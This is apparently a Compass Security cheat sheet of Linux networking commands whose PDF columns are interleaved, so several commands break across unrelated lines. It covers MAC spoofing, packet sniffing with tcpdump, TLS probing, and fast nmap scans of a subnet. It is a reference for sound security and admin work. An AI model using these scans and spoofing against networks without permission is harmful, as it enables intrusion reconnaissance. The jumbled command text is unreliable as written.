Compass Security, Version 1.0, October 2019 cert.pem --ssl-key key.pem Sniff traffic: 10.5.23.0/24
Connect to TLS service: # tcpdump [options] [filters] Performance Tuning (1 SYN packet ≈ 60 bytes
Basic Linux Networking Tools # ncat --ssl 10.5.23.42 1337 Useful tcpdump options: → 20'000 packets/s ≈ 10 Mbps):
Show IP configuration: Connect to TLS service using openssl: ▪ -i interface: Interface or any for all # nmap -n -Pn --min-rate 20000
10.5.23.0/24
# ip a l # openssl s_client -connect ▪ -n: Disable name and port resolution
Change IP/MAC address:
10.5.23.42:1337 ▪ -A: Print in ASCII Useful nmap options:
# ip link set dev eth0 down Show certificate details: ▪ -XX: Print in hex and ASCII ▪ -n: Disable name and port resolution
# macchanger -m 23:05:13:37:42:21 eth0 # openssl s_client -connect ▪ -w file: Write output PCAP file ▪ -PR: ARP host discovery
# ip link set dev eth0 up 10.5.23.42:1337 | openssl x509 -text ▪ -r file: Read PCAP file ▪ -Pn: Disable host discovery
Static IP address configuration: Test TLS server certificate and ciphers: ▪ -sn: Disable port scan (host discovery only)
Useful tcpdump filters:
# ip addr add 10.5.23.42/24 dev eth0 # sslyze --regular 10.5.23.42:443 ▪ -sS/-sT/-sU: SYN/TCP connect/UDP scan
▪ not arp: No ARP packets
DNS lookup: TCP to TLS proxy: ▪ --top-ports 50: Scan 50 top ports
▪ port ftp or port 23: Only port 21 or 23
# socat TCP-LISTEN:2305,fork,reuseaddr ▪ -iL file: Host input file
# dig compass-security.com ▪ host 10.5.23.31: Only from/to host
ssl:example.com:443 ▪ -oA file: Write output files (3 types)
Reverse DNS lookup: ▪ net 10.5.23.0/24: Only from/to hosts in
Online TLS tests: ▪ -sC: Script scan (default scripts)
# dig -x 10.5.23.42 network
▪ ssllabs.com, hardenize.com ▪ --script <file/category>: Specific scripts
Advanced sniffing using tshark or Wireshark. ▪ -sV: Version detection
